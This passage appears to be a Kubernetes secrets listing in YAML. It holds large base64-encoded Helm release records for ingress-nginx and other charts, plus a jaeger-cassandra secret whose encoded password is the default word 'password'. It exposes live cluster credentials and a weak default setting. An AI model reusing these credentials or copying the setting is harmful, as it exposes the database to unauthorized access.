Zzk3V1ZBTVkxM0cyUHpKa3U5a1pIemdKZStVTHVaVGN5T0xrUDdXY1NNSGlzYnd1L1BWeHRoYS91SThlUDBwbHJVeC9SWDM0YzU1OFBtdTJXejRYMWo4ZGlsYjMrSFhpV2Y1emViNzFyQU0wUUJlYTg0dnBneGswVEsyeisrL3dqa0V2bmc3WExBTmVGMDNMQWdINXVlMitFRGJlMkl6dkJxODFPR0JReGI0b3JycDg1b0tqdDhOb0lySDU3dVpxaStCUExONGNSMzVXWlhONXp0LzB3eS83NXBGV3ltK2c3NGh3ZWRnaTh4ZnZtZnRxdWpMcVMyVnNXVnp0MnFwbnN5Ly91NE5xM0ZsYkdCK3N6RWpNbFkzZVBielBQdTVObTZDRXpWSEtIK05Ma29sYWxlbWQ2VUpiK1VOVUVYZWZMNUQzWTg3MVZtYWdXcGF4dmI0cW1xcTlYeUhRa2pRVkgwcTg5SnhKb3VHTHBuUGQvQmJuNC85eVVZNTBma0g0aE92d0pHVjZYUUJwU3B4WjNVT3JjS2xGUmZ1N2k3Z04rZWZwSnYraWVDSlQzMTFHNnFHenJ1OHFzdmI2RXI0Mkp4czJQMm5hdnhTZnI3YnlrdlZ0QUp0OVdzY3hjSlhuM2N1c2Y2dnFmQVkvdmlNL25pU2VWbEEwRmFqSVQraExmRWIzL3JSNUVYcEcvb05sWEVjbC9GdldLT0JpRThTanZ6QW1zMXZ6Ui9DWTFQQ0JMNGxZUEtQMUZDKzJ3RDRVeHorSUEzcisxWTJaZDJLUGdqVUg3SjRGSUhzSDM3K3Y4MVdubG5HNWpuKzdkMmRmSWpRTVB3bkdwckc2MUxHTHc5M1gvZThhajJZaW0xSnhsNlBQc0Z2bDJheTQ0ZTdyeTVuKzNUTEpyYno0TVBEeGhhQWFpcStFUGY3Ly9yZjM5KzYveUxiNDk3c2UvdWw5MysrRmdGVHZDa0lRYXFoUDZqUzcvbW1tZWdiVWFjTndKdm03MWtMbm40dG1CZDhKK2Vod0doNnpaUjJQRkFsM2xMMXBTLzYvLzc4TFNKRUZEMzVJTXBiUy8yaGlyd2wvLzdWTnJkZmdTSHk0R3ZrYXhOK0tOWFlXajdtTnJLV2o5RTJURm0wdDZwMWZERjBTejVZU2ZiWTJucmJKQTE5YWhpVzcyU1QrbjFoeWxzSGhOR00zenlkL2hzVy80MEh3TmgvMzZvN0ZjaEx1V2VLUElDaS9mUGREeDZZaVU1TVdYUmc1dnZXK0tHbXQ0NHZpRTV0M1ZJMXVlczZwTWVmRWZrTkw2aEF0VlRaVEcwYWFadXg4Ujd1MnErdnlTOTVTY3A0a096Ti85VVprdDEvelhwVGF2alNTMUJCNXFVM0hSd2RDdlpWSUp0SDA1SzFqSG5LK3U0NXVib3UvdmtjbWV4Nnh3TmI3bThOTFFNSGZxZ3lrSHpiU3VhUDMzbExlUTdPd3k5T1Y4WGR3dzF4OHpGQTJTVjdJSy9kZjMyZjlsN2YydDNNVVR6ZlJYZ2VxSUx6UDAzVkhGWVR2NWhHSElkM3NpNmI1dmV0SWFRWTZnZXZBbnNyejVXdGJDb0drSjd2OFBnRGpraFB5RlpxV2hzNG02K0t6QU5MT2FWK2hZb0NpbUI0TS9tVEtTcXlNOEhCZlA0OS9wdXFxNWJLZzY0TStGQ3VRWkhFNFNGdlZVUEsvZG0wUlZFMnpjaDhFaHZWMlRhR2JZVU5SSDkyK0ZldFFLdkczNWhXVVFVMnlieFJYVFE4eGoycDUzdENzdzNGZ2d5OU05MnVlYWJoMUNGVXF1V0VUU3B2MEZVYTN4bkExdVN4WWV1NWRJb2VpTWwyb2Z1bml4bDV4MXZ5RlI5KzA0ZFhlS09SUFBQa2Y5dXlhYVVQQ25Gak94eURhS2x4eVpxeFBUN2Z0WkN4NnYrbUc1STg4eFd0U0E5eDhka3duKytBcXR1QlRHTEc3TlJrZ2RKVndoM1dZMWw1cTNrM1ZNU1dGK1h2OFMzUVFBSzJjNWNuU3dUUFd4WDNMdms1ZFY1djVheXhSKzJ0MVkwUDBRdkhEUE5ENnVveVlvdndibWRmbkZjL3JSRTFXeU9TNW9XSXpuV1hMYU5YWC91TXBHMGVDL3pqN251M2M2ZWFkN3BoM1puMnhzRmdXYnI3WVd6dnVyeXNHZnBNdHN3dnpuTVFLWisvZmwycWxtSUxYMFJEK3hyT00vcW5hcHEyYkg1RmtXOG8xaXc5Mm9DM2ZUSGMvSm9XellOQkMvSVBZeXZmaVFydnRMTzhzeFRWZE1XWTMrNUVSUmJYZDVZaVF5aFN0N0lVUVkwN2p4MmlNNG92bDJTSTV0ZXQvRVBleXJvb2YrWGhpZmJBMjVhaXcvOC9mWlVQbHF5YnFnRGtjRWRHVkJ2ejZ6ODJXeG4yYmFxV2JDYk1mUDRibnVhZGM4VktCWE9uM2FtN1B2UzIrL3luYmIvR1Rabml2RHhMWVFSK2ZSNzFMa25kcHoxK2xiL0F4Nzk0TDhjN2p0Z01mV3RINzkrMnV1TkJZT3NJZmFQY0l5VHRaVkRvYk9MTzEyZTQ1RXU3aU1SbGJPUnRoR3ZDaDE2bXZmYThGLzl1OGIwYit5N3QwWkRwRStSSnVQNWMrN3dLUFBPV0tzbTlIei9nVGZNZGFlamVlUnZRZUNydlZIbWZta1U0QXhHb3NtNjUyK0k1Y2Y1SHhsVGxDak44STlzRUhKZXZZNUtiSjVDSGEvSjFoMzZOME9MK3QzdklNUGZQL3gyRWdPZHcxLzF2OXc0RzNEL2Z4MldUKzkvdW5WNlNMeFpqNk1vUUhxREh5dGVNcUszN1dDRFlCUkZjWjNaSk1TMlRxSFYzOStlOUQxWndHOTQvMzIyMjhnT0VGZ0IrYy82Mk44c3RMOG0vYlF6VENuOXdQbmkvWkRYMElNbEF0dVNIRFdSQ3AxbjMrSGh3WmJLdERBZnhHL3dFTlJoWmtxVlBISzBCUjg5TDJmZS8zYnZPVi9mUC8zMGZXVzJIMmNQMWRqNUZWdHovNlAvNno5L3VBVzlhLzlyYSt2M3ovN3MzTGQ0Ull2N0ZPMXlOSVJqK2dMUWVNSFNPb2M5STR4bDcrdEpDdnowOTRrMEUreThFZTBhUSs5L3VuV2s0UEpMNzByY3ZLSUpnelNhTzRjRkxHNFUzblgwODgzbm0vaisvM2J1ODlpL0lhNm9NcDVYRmJSNGVoUHgyLzg5SWNvaXp5QkJ4MXI0U0ZwTFJYZm1ZY0YyazExbW8rSVNEdnp3Y25QUDZMcEtOOC8wb1F6WEI2MGlNaXNwbWFTL1ZENENpYjEvUXgyK1BTT1Bwc1ZrRmlyQnZlQk41d2xvL0dSSjVMcUgxQVZMVVM3VTJYTXAyWFAyRXAwOTR1bUhvVkpTWHJuR3dUZW9yZWZMMWgyQlpvL0dFUHJhUXA4Y3FXSWEzbW84WWhqVysvUXhnVm9NOFZaTWdkWWtFOWFsc2ZVcFh6NWVIazBYQzJncWxKVGNnNWtNUTV2SHBDY1h3Rm9aV1FaZ243TEh4MUd3MEd6OEx3dFFqSjlVcklGMGhHWDNDenFmVVZITVUwdDlDWEhwNitvYWl5Rk9ya2hYcVc2UDErTzBKK1VBc2V3anczNE8wa1NGY0NXWE9YMjZyTTNnS25jRXpBYjRVWXRmSUVLcGcxa01ZMFhrajZQb0VxSjhKb01LSUd3dDRiaHZ0SDlDRFdsZE5SWlpLZXJxWDVhbFByL2c2dmVJekwyY1R6dkhGM3UreGhTbnQrZTRNS09aZHZKVDE1eDM2NVRGMGdVZHdoRzgwRVFTVGNFRm90aDRmdnpWYjRyZHZpSWcvaWkzMEI5N0FrTVlUaGo4MnNTYisxR2dJalliVUZCck5SMVJvU29LRU5TOXlnWWRPNkVuWHIvUWNYZDlteFRDdDM4OWZmZjUyL3BFdlNjZnVMK1pPVEhjWTRHbktFVHo5ckt0d3dGZCtMenkweS9yM2ZwQ0Q3UmtYOEVxdTJyVTRXdWU1VE9lNG4zc0MyeU9PTjdDTHZkY3ozazY0blZmeE90L0tVSGp5OThLYjNuZTlDRXA3K2FWWnFMeS9YMFhQdzVLaVl5WGhFUDMyNVJGL3dqRDA4YW1DcHZ2MEJYMUVHODBucFBXQnRqUlhvcXRiT0lSLzBSRWZzTnNKaDBGNmo2dGx3MC8xOVZNNlRETFZwM0Q0VXdtSHNYWDVhOHFHcVNtNjBwYy8vTExpVjNYNURuYjhvTmtXdkpyL1BVUGF1VUFLakRidHVSWjZtUGw3NkZyNEtUQitDb3kvaXNCWW96MnhoU0JOL050am8xRmFaR3cwdnpTZXZpR3RKK3gyRXVNL2Y3djNqby83Wi9TMysyQkhKTVhCKy8vOC93QUFBUC8vWEtscERlY0dCd0E9
  kind: Secret
  metadata:
    creationTimestamp: "2025-09-21T19:03:17Z"
    labels:
      modifiedAt: "1758481414"
      name: ingress-nginx
      owner: helm
      status: deployed
      version: "1"
    name: sh.helm.release.v1.ingress-nginx.v1
    namespace: ingress-nginx
    resourceVersion: "64845"
    uid: efb8a8b7-0064-4a35-baf4-a52f15770594
  type: helm.sh/release.v1
- apiVersion: v1
  data:
    password: cGFzc3dvcmQ=
  kind: Secret
  metadata:
    annotations:
      meta.helm.sh/release-name: jaeger
      meta.helm.sh/release-namespace: jaeger
    creationTimestamp: "2025-10-19T15:15:43Z"
    labels:
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: jaeger
      app.kubernetes.io/version: 1.53.0
      helm.sh/chart: jaeger-3.4.1
    name: jaeger-cassandra
    namespace: jaeger
    resourceVersion: "6810514"
    uid: 0935c645-706e-4e0a-b3b6-9539117b6045
  type: Opaque
- apiVersion: v1
  data:
    release: SDRzSUFBQUFBQUFDLyt5OSs0K2pTTEkvK3ErMCtuNS91RmQzdWhkd3VhWVphYVUxTG9PaFhOUVltK2ZaMVJFUE4yQW4yRnQrNHFQOTM3L0s1QTBKeGk3WGRNL3VXV20wWGJaSk1pTWpJeUxqOFluLytSeWF3ZUx6YjUrWDVzSmR2SDMrNWJNZmZsOS8vdTEvUG4vMzM3YTcvM1lXRzdDT0ZzN24zejVUQk5YL1FoSmZTSHBPL3ZvYjJmL3RnZnI2K0VqLyt1dmp0Mis5LzUrZ2ZpT0l6Nzk4QnVZdFR6a0xzTmloMzZNL3R2YWJ2OW41Ni9EemI1LzVjTHN6QWZoa3I0TU4vTkhuWHo1dmQrWnV2LzM4Mitmc1BiOThEdGU3QmZ6bzcrSC84Lzcvb1VFKzhTKy92MHJ6Z1RqLzdkTW8zTzdmRnA5Mm5ybjd0TjJ0MzB4MzhjbmZmbHFjTnNDMy9SMklQdG5yOEx2djd0OFd6aWY0djJ5UXA4VjNjdy95cDlab1hkdFA1dHZpMDNadkxSZjI3dE51L2NuMnpOQmRmUDFVK2w4MnlIditoMXZPM0Z0ODJtOFhuOWJmUC8xOVR4QTlHeEozSFM3Q0hmcHo4WFVSSG43NzlEOWZ2Mzc5RjF5bXM5aThMV3h6dDNDKzVzUDlEaGJtTmg2bVlZelQ3czBjd1lIKzZ4K2YvSEM3VzVqTzE2Ylp2WC9IL2g3cTYvMG4yd3cvZ2JYN3lROTM2MDg3Yi9GSlFIejlhYnBmdkVXZlpQNlR0M2hiL0FaLy9RbnUzdnB0OStuMzE2Zi9GZ2N2bzcvK24vOTN0YmNXOWc1OGNoZTdUNXUxcy8zMDVRczhIdHVOYVM4K3hTZmsweGZ3NmUrZnpjM21LL3p4VzdqWUxiWmYvZlZmNEFMTjBGNzhOZjdaTC9WZlpQVDU2ei9oWlA3KytkT1g5YWZsZGgxdXpKMzMxNzkvL3Ardi9tNFJiUCtMK01mWFlMRXpIWE5uZm9Wdi85ZmZQLzkvYUxxMnQvN2s3WGFiMy83eUY1TDY5U3Z4bGZoSy92YU4rRWI4Qlg2ZHpoMnU2Y3YzOWR2UmZITnc4LzgvNlhvL3dVZC9JeDhmdnozK1BmejhyMTgrMjU3NXRvTkhQMzA5L0hkVlBIaHI5RGVjeC9hM3Yvd2wvbnozWnRwKzZINzExL0IwcnZkdk5qeUwvNVg5eXR0Ylg1MjF2VnE4ZmJYWHdWLzI1Y2YrOHZrZnYzdytMTjYyOFlIdmZYMzRTdGJFd0NEZHlmRUNCSi9RVkQ5OVg3OTllczVvL1BtWHo2dEZkRnkvT2VqZDJZelhtMFdZdk9uekw1L3pmOEVkZTlzSGkzQm5vbmY4NDVmUGdlbUhPOU1QRjI5d2lHenh6bUVkN3J4RnVBZy8vL0o1RVpnK2dCK2FCOS81bW4zek4yY0JBRnpkNTMvOWtqMFlMTHlkK2NVTVYvNnU4Q1Q2K3l2NjdtL21adU9iWWUwNWY3VUE2emN6TEQ0VytMWm5Mc0RYK0l1L2ZUZjl0Ky9tS1ZnNHZnbWYvMnJ1aTBPRTVuYXhDRlo3QUV5dk1Fajg4ZDkyYjJhNDlYZGZ6YzJtK05ER1BDeEE2Sy9XWUgwb3Zubnh0K0kzWDhQRnJ2alVjclUrbWdBVUhrZysrVnY4Zi9Idi8vSExaOTlHVzVseXhmRjQvRnJsbjcvNGdadHd4eGY0OHk5dkM4Z1ppeS8yR3F6ZnZtNFBjT2ZNamE5azdIS2cwQ2ViL0JQeWE3LzNGV29WZUNUeWoyT3g5TmRQNUZlSy9CSXJuYzBpZEJhaDdTOUsyMjJiMjYwWk9tL201eUpiRWwvSi90ZmU1MTgrdnkwMjY2Mi9XNzlGaGJVZ2h0eCs5UllnK0xyMS91S0g5dDR5ZDJ2SWYvWTZkUHlFaXpkdjY0TVBCM3d5ZCtac3QzNWJmQzIrYlJHYUZvQnFjUGUyWHhRb2JLK0RZQjJXcGtOOVBYMDlYWmlONWU5Q00vRFJtVXYrWFh2SlAzNzV2SXMyOENYbUJpcXorQ3o4NjVmUFlHMnZvQUJ3RitIaXpkeWx5dnpoQy9Id2hTVG54TGZmSHFqZkhyNTkvVVk5Zk91VFg0aUhSSlA3N21LNysvemI1NjFuVXYzSDM4aEh4M1FlZXQ5Ky9VNVpQWnB5K2tUdjRkY2UrWjJtZisyVDM3NS9KL3JXcjcvU0JFMVJoTDE0NkM4V2o0N3pTRDgrUHRBUDFIZksrZjVIN1ZPQjJndG93L2oyZG1HKzJWNlo2RkRtUHR4QTljTG9LL1A3cWp4ajZ2SHI0MWZxZmFOaU9ZU2trU0M5ZXRoLy9PdVh6N3RGc0FIbXJreng3TU8vaUsvejBlenI3Z1FGVkt3cVBnLzlseVVmZmNoL3orai9SMENVUi9STUdiR3Z5dFBhbGRUKzJkRUV3SStsdGE1Tlhic25IZXlBRFkwWnM3RWpCaXpHek5aVXhZM0RuZm84Sng2c3dOZ1lQU1V5MUtuTER3Y3VQM3haOHNjMUhOK1ZPQ1hRTldYckRKbXp3OUdScmpxQTUraWp3NEdERmI2NE9ucVBTT3JCQnVpOXFldHczMXlkOGp3cmNNREVIeVRqRmY2TFhwWXhQVERmdmUrL1Jub29uQWY0c1hJMlpzekI4QWZmZElyZTJSeTlOOVErOGJ2ZkIxYW9QL0xqN1g3aTkybWVBMmVlazRBOUZvQk9zWVNoVHZkRmVzamNDZWlhbUl4WEgyc3hsaUpkVnZiT2N1MnFKT0dhY0M4NHhUT0dEL2g1Wi9UNEdQNFlBbkJ3WnN4U1Z4OWNpNk5EbmdON3VFY09wTWxvNHhtcUEyeWZrUnhWaVJZelJwbk5tTFdoQ2VEVlhUOHZldHNkejRFQThVZ29lWEF0L0ZCNHRTZ0p5QndkT1VQZW5RRERzOFlLc0tQK0tSNmpmelkwZ1RKVkVVeENxVzl6c3Z0ZEk1Nkgvc0ExTk85bzlRU0NIL1YvbDBiS2Q3UkhUOFRxbWR1UmVxQXNIZTdvR3BSQzhFTmlad1hzenRERW82NUNXdTkrNVlmOW1hSEd0SitzK3A2bEttZWJZNWZHaktHL3p3WTdLMkwrYVZQMDN1Wll3bndpL0VYVVA5dWNzcHlFek1FT3BiTjZacHhKMEQ4WW5ES0ZjL2crNDEyYlVpSW5BRXREZTNFWHZTM2NxNlUxVmxiR2JPQ2JBUXNNU29rbWdVRmEzR212cXlUZy9jR2VINVAwUkdOSlF4UDZ6OU8xeTNQS2c0MW93YnpPQ1luVkNERDlmVFpkbXozRk4xU1JzSVpNYUdoVDF3cm9GWHpQWkVhaXNld2U0K21Vak40N0FRS3dPTVd6S1hrL0w2MmJwUGtoZWVDNXpkbWkra2RkazlhL3o0UmZKd0VnREpXTTF4U0toSzVKcEIzMVBZT1RJa01UejRZbVdpOHNzZGRWYVdVSHl0bnVFWDR5MTZYSmZYUE5zVVRZVCt2REpKS3lPYi82eWI5SjVuY1pUQTlEZC9QcklpSmNRejNCYzdNeGZHWnBVWDFDVjhIZWpnYituS005WXlSNEZzZnVkVXFKSUcyVWdOMDZxbktlaERGOUpxRUk3TkRZNkpTOGQ4YmdpUFpxdW43bUlhMUlpWDMxR2NFWk1qdGRXN2tPeDc0Wk04YmpPUU00RWJNejFUN3BjTXFaNTR5RDdUT0V5Y2x1N1owak1PWEgwb0huQk1CekxLV3JZS3Vyd3RhWVBUem5aNHpSZEUxYW1zTjRETHNuZWM1WU9mTmpaK053N2lNL2RONGNWUUI2VDlyeW5BT1FuQXR1MnFjZTRsTU83SFhxUkJxYzdQSkJlcjc2Z2FPZXRvaW5aN3c3OFNIUGtzbDVzY3RuZ3hWWkdSakNsRkMrejVRQkxReTkrOHp2cHJuVnpsVUl6NVhEc1lTanZleXR5bjVNQXJBM2VnS3dlekgvbVJwREM5RUs3amZRS2UvQWN4N2hqQWVQaytqYlNpYVVtYklDVDVKQ0MvTHdXeUpybEsxTnlhNnA2cTVPMFh1SFl6ZFF4L0FyY2V0b0ltRm9naUFQZVpjZjlsVmRQWkdHOXJLM05RWFk0V3FmbmVWWm4xaG9ERnJ6MEMyZHorbWNrTDdQVjZ3b3pURXlaOHdjalBGTis3N2xoNEpuandkN2RPWTFZVzlvRXBTSEd5dWlOeFk4bjJwL2FjekpYeGZSWUM4SHl0WlEyYk14Njc4aW1RTGxDY2NlN1dFZjdiTWQ5QUhrKzBrQURoTktQRmdhYzdBQ1plODhwWHZDdXhQMW0ydUdVQ1l6bnNPNU5COXU5NlltQVNzNTk1YXFFTG9xZVE0MzJzZHl0T0g4bjBlUkdEMGNKOHZCL21XK2ZuaDVjbytUSS94ZFRwdVlkbVJnOVlTZXJnbXJHMlR6U2g3Ukk0M29NM05aZGwrZkJnOHZUK3VUdU5RZnhFekc5RmZ4ZnYzMXIwWFRMVGVxL3R0YmdNM2liZnQxdHdHNVhiWG9iUS9QUGtPWkt2SElqMFY0TmdKVFBRRWthK2JrRHZLTXJvcHJZNzUybjMyYS9qNkY3L3YyeitFSzhnUzdOeEtaRVBNK3RBM2l2Nkg5WW9mVC9kQmZINkR1aW5sVEFnYms3NUp1Z0d1VmZYNUlKbU1UcnBIWlM0UDlOQmtIOGN5c0lCL1JjOHJ2VHFCRWRnQld4b3o1eG8rbHlGSDdTLzVKUC9Qam8rdU1oWTJsaUtRUkdKdkZjT0JQNEw1ckpEME1kNzlPWmd5d2dtbjh0NXV1U1l3TWxTVmlHUXJueXBMV2VPb2FvYksxeGl2WDFoVFA0a0JncXNxS1IvekdJRDZmdUJ2Tm1ER0VIU3A3Wk8vTUdNOFpEcWlYaUZtYUhCdlpFUVAxbU9jZ20wYzhXS3JzemtwOEhvL0RjOGJHVUU4ck8ySThPNUJkaXdNN3lKT1F4bFlFNlFyTy9ORHpGN09ZeHRLb1ArYzVTQWV3TnlJRzZlcm4yY1B6VE5WZE96c2o2ZGdGKzRNVDE3b21FUEd6c210cVU5ZWh3TllhTXI0eFkwaWJRdXM3ODl3b1hudTJ6dlUvSjcyTWZpdEROVFpXMENJSGMxcHZqS0p1SzlnRDg1NEI3RkRZUUhtYS8vN3liNzhQRTNwSGlNNW83MDJWbkR1cUVaaWE2L0krVWVZcHBJTUh1NHdYaDFKTWw2YzFYZHpyeVNxbVRYd0c1YUp0MWpMZm1tNWZXUW0vMW1SVllVNDFtWGdMRDQvRjBwZzIvSDBvQmZ5UUIzWkVBRHZpTWU5SjUvZU9NM1BwNy9xWlFtZkJHYWI4aUdRSFpXakMyVlRwUGVJM2VCOVFwNjRlcm1MYk91UFRrNmNIeXJZRC95WHZLTTM1YUFmUVh0ZGQzbGZPazVseWhuWldWYTZrZnl0UW5sRGdZUG1RTmdLdzRic3AyZVg5cmM4UGhlKzhmeGM1YzdCVUVyNEQybHJBR3I4ODU3STFsbittMmdmOFVQaW5yaXFob2ZGN2kyTjl5TU84SC9Pd3lTbGJhOVkvbTBNNlh2UFR1c1grVHVpWTJONXdYZzEyekJucElIalhYY1UwUi93RDdabGtidEN1eU04SWU3UlplQjdFalVVOW9EdUtyakhIU1lCMFgyUUZDZ0h0QzFQOWRuQlN1aTdqZVRhT01XUk9qa29Uc1oxYjBXMUJrNDRuUFF2ZXpkWHBUZzlYanpWOUNqSWIyczExa2JJM2hqRXQwVDVGNjJlWmdtZFZKS3dlNzZiMHZxaS9RaEdlclNXODE4OHJlOVJFQzNUMjVtMzdsZXJFZHByRzkySm9OOHFQZUJ1aWZiM1RuZ0IwVFVJK2pseFAwRUh5OTFMWHhMT3U5bGQyTUhKdFNsd2JLdWxCR3lHbHBhNktTNnVuN0oxWVA1RTJKVi9rWTUxaXp6YkY3bzJ4NE1uSm1Qa2RSMkYwU2p3NGFwK1lYOUlob2JnME9XV25GKzdLMDJ3Ky9hVWRLSjZUeW1oL2dHaGRzQ3ZXWlRsSkZ0ZTZ5OWJxRDlaZDdyUFBzMVZSVDV4MXlnT1dPc3J0YVpsZDZoUk5XdUYwbjhoZHJGN2loOHl2aXdqSk5jOVJUd1EvRlBKL2QxLzdQcldKYjVEUldGc08ydkYyc00zditqTm8xOGY3aE82T1VHNVBMOHBtYU05R1pvU1o4Nmh1QXlJNVU2QnA0N1BYNzNVeUZ1OCtkN3JMclRhbHUxSk1pNC9jMjZPdUNXKzRNNUhJQmV5WnZ2R01BNXNBZTROVEhxYlVDZWhxSDlnK2s5R1k1N0sxSVo4a3RGOHYyL1BLZWFiMlY0Ym1QVUdid3dwaUdYbjErZTQ0emlSSWViZUp6bDVaLzhPeDFYak5FMVdFdHRuZTBIaWZIM29iS3hDM2ppcVY1Qld5ZjdsTUhtK2VaN2ZNc2JadjZJN2V3SzkrL3UrU2J4Q3pWMy9NK1RjMGNXWlJwNjBGYmQ4NzhJY2MwRnVMb3lsSTMvbzVrbDRUdVZyZ2F4QVV6MkI1UG5lUkNmQy9LQi96TnRuUVlWNzF2Y25zOTdVYis1Znl1d2dmWlAvMjMvMmU5L1BBaTBYUmIzckFMczNvL1R3dzUraURTUW1lVG0xdjVZSENmTzdHQTl0OHpKdDU0Tks4N3NVRDE3L25uVHhnY2pSaEIvVHF2VFpnT3M1dGVzRTdPR1BoWUF6dnN1ZHJxeWRGRmpXOVVmNjN6dVV1Kzl4R3F3K3dCeEwvNkR2UGR5MTJjWTFkMy94c0IxMlAzY1BVdjEwNHM2MHh0M3Z2WWMyLzNtb3o5bGRsdjFYNk40b2xIcDdkelZQSzQ3R1BKT1lCaTlLVHYrRTlHTnJsNzd5bnFRNkE4N3RGTmpjL085M3JLZjgxMExCQjVub0dWZGdQZE9jcW5zTjR6UjlvZTZYdi8wUGtyRTVCK3lqMktiei92cDJQZFp1OEZROFdsL2lFYnJTMUdueFN4WEViOXZYaXUrOXlQaS9SNkE1eWRnbnR0ZFMzWktyOUVNV1VJMlp0OVVUaXNyMVVvc1BHQ2h3VW81NXg5TG5pNjRSN3R6WXBzRGRHNE13UGhUUHlUUVkyMGwySVR2SCs3RkxmVXZGTTVES1ZjS0Z1czN2VHlwcVpLK1JTY2M1TU51ZWNuK01jZ2x2WExxZXlSV0VPZGppdCtRNmV1ZDNHQ2lUQmpnYSszWk1pU0hQSVgzRk1WSGx3aHF2S2VsUGVrT1lwbjhYNUdkWDdQSlB4MW1SV0hDL256L3B6aWYveVZydEw3WWNHaXQzeTcvWEJRUG9CdXlmaDd3MlgvVER0ejk4c0M4RGVvSlN6dzVWOG55Vzd1a0NEai9POUZPZHhiem1ReHRLcWNjUnhiTzhrZW53L0JBNUk0d3Z4Y3l5QjRneHhMT1RNY3lpbkNzcCsxNlpvdU9aSjBSK2UyZ05HQUlERlNXZWVZeU5qeG14TmxkdzRISHdmNUJWcGJXb3Y3ak1uOUJQNU5KcURGOFIzNkp5TXhhT2h2bXc2eEZ0UzIybGZzd21TK0pwRW5RNTZ3RzZMY2JQWFpUVk9sY2ZsTzk2NUx0dVBGMk9NNWJnUWY4VVk3NDQ5amhrb2p3akRIL2lDOXVLMzBlcjZkM1czSC9VWmcraTZRSFkvdXpWVlk0UGliN0g5bHNpaGgyZUZrbDFuTEpCV0lNYlBhVk5YWEw0a01mNFhWdytVcGE2aDNNQ3pSWkdBSDVWaUZhazhnL3krTmNaSnZpTjMybGdxSU9EN2tseTZqUjBOMWxuc2J5Uzl5bkZjSE9vdjErNHhRSTlXSGZJSkVsc1FrMWNnb0xPaGpDMk85blgxVk1nZEdEeitYbzBUcW9rZDNUa0djTmtlenUrU3hieUZOcjdvT3NhOTQ4WjhDNjN1R0RQRzVsMGd1dmFoWE5UVjB3YktNV05ZdHAvK25IeUp0WGR2bFpkRmVuVDJYYlRvOWVKNDcrUFRvaTM5SHlvL2kvYmFuNU5YY2ZiWXJYSTBIK3Nlc3JSb0I3NkhUeStQODJlV3FTVmZRREcydlRmeGQ4YUM3Y05FVnMvWW9GeU5sZVE1SER1SFo5bVk5VXY1QUMxeGVjTHFDWjVCeWFWWVB5WmZyNUZPeGJodldpOHhDVVRQN29tZUZVaVJQdXZmSmxPcWZvSnhlNDVRUFhlclJFcy8yU2ZTQ2w3UVdVWnpDTUJPN2ltQkVZQUhmc2p2eW42eTJuMGh1M2ZIT3FBWVowN3JUZnFZL2V2c0x5eWQ3L0oreFBtQWVrLzZibk0wcFArNW9vL2lYT3FuTmQxbFhrbCtNS1Q3UVU3djIrT2ZoOGNFTHZabjFIWHBCL0pia3l3NHJ4TjVFTTlKR0NNZmh0dk1GeEx5RTZHOUtNdTBYU0xYYW5rL2ZHbisvRWZQdDUydnkzTityTXJpZGw0ZnJHeWNQNlc3anM3dituamIwclBIZ3orVm5qYlVrMmYzcEkzZUU0R3VDVXR6MkY5YUhFRDNBMGNUdGxlZVkyQng3Tm5od05LbUZNOE94SFZjN3pORlBHT1JJcFJwZXlNcWpabnpZOWN4YS83RXNsNjN4OExCQ1FES0JaVTRsdEFWZE1iQkpGQzJ1aVlTcGlxZURaV05kTXJGbkl1YWZWeDdQMWFlVjN4eVRmdzZpYjVsWndBdksycHozQ2M1WkNDYlk3b1A0MDQ2R3hNcmxTSmRGU0YvNEhUNHhSaFllbjlzaUlHbGNkQzlNeFk4bllMNzNVL21qVDlubVgrTG92ZEdBRUluNFhPNHh4YWx1ek5sNEU0Sk1KTGhtVkZQVzZ2bm9MT21VeUt3ZXkvb0hLRGFseUVEYlNIUENrUmdJL3RRZCsyZWNrUm5ubE5XejQwK3pkTkJWNlZoOWl3UUQ0NG1MQTFGUUhXVGFLOHErcU5RMzdLMUtIWTFEZGd0cWl2UmhMblZVeUtkVW1ZNnNndGZVdC93cGQ4OVp2NzBjZnhlZmlndFRWV0trck9SMS9GZG5HL2lWeDRPM01tTStYVVJEVlk2QlZhMlgvUTNWL2kwM1NkZnR1MVJ2akJKV0JTOU5TbEFURUtGTU5YVGVSSnNEcWJhZnpFMWtWQW9RSmdqbEp2c1ZXVEkxcUpFenhvaSszNWxxcEF2aE1EVUJNU0hVRjZXN2U2TUZtK1Q0V0RsK1BDNXdSN05UY3Z5NWZjVzFDWGM2YUJUN0hZU0dCczdUUGh0ZGlxdkJ6MkR4dGw5MThoWW43UGZZbDJPYWgyeitmbEdBQ0s3Ti9WNUR2SjJZbzlybDJ6bVhHK1VjbDdSdVViMUY4QUtqWTBkMEh0TFJmRTNTdGVFRGFxVDB4cHp0MHU2ekZEN1ZFclRTUkozZi9XWnA2a2l6cWR5ZnlTdjJPOXhQWmN5azQ5d3YrT3orZW9qMzNYeFRPUHQrWmhQZG9uLzk1RWZpWXhNaXN4OEpjMm1DajJkazRJTWVkVkJObFNXTDN5RlhjZVNWazhDaGZ6eG9NdnpEZ2Q1VE5raldxa3g3emF0WHhtZDVocWh2RTVsNFVXU3AvRDhVV2o4K2RybFEzZy9rdjJoVDdocC92U1VZT2N5d2I1S3JNQm9wUFFpay9SY1VnUlZVb1M0Um0yYTAxRUtoWU0xWDhjMWpXTVI2RDBCT0tNZFdDZ0NNSmJyck5heG1KdmR3UzRrclBFTGxDdExPMUNTV0dwK2p2a2g4MlpvcTBjVUMxUEpneFhiWmhmV3YyUFZhWEgvQi82RUtyNlRoTzg4Nk5ScGcveWM2ZzRzWnYyam9SS1hhUE1rS1JVZUdQS0hrdjJzU1ZzN29sTmJZcWREZVRuc052YTAwNXhINVRGeHVyY2pYNW1VMGsvckM5dDRha1lvaGt3eXpKU1FTL3pVY1gvZkRBM2tkWGpWZUY0alRSVEloNjlUbVdSdk9YT09CblZoKzNtR2ExUUllaVlOM3NmajFUenJCanFBQlFlZ1BiVTN5R1JjcUhlMGJ1c3hORzhEN1ZVcmNPYUdLa2FHQnZlYkxNZFV0YXRxYXd2anM1VTlTV3FXdVIxWXpOZXV6YkZudStjYzdHQmEwMDJHdHRyeVF5bm1pVm1zb3k3Zk1aVzlVOTBidEs5b3ZFcjlTbFdPRDFZSkwyRHFYR3I2cWVPZFYzbUFOcHNFOVVzcW04ZlNRVlhablRXODdYbThuVkdPYTBxMU93Z1R3WHNKaWpGeXl0NEpRR1JSL1YyY2kyUjRkZ0E4UFRnQis5aGt6OVZ0NkFhZHlSYmx2S0lJTHhmMEplWXVJbTVOcE1mN3BCMGMvWEl1QkFoNHJuOXdHbWlIdVh0NVZrRHZGeXA1Y0JLN3NUSlhCZXI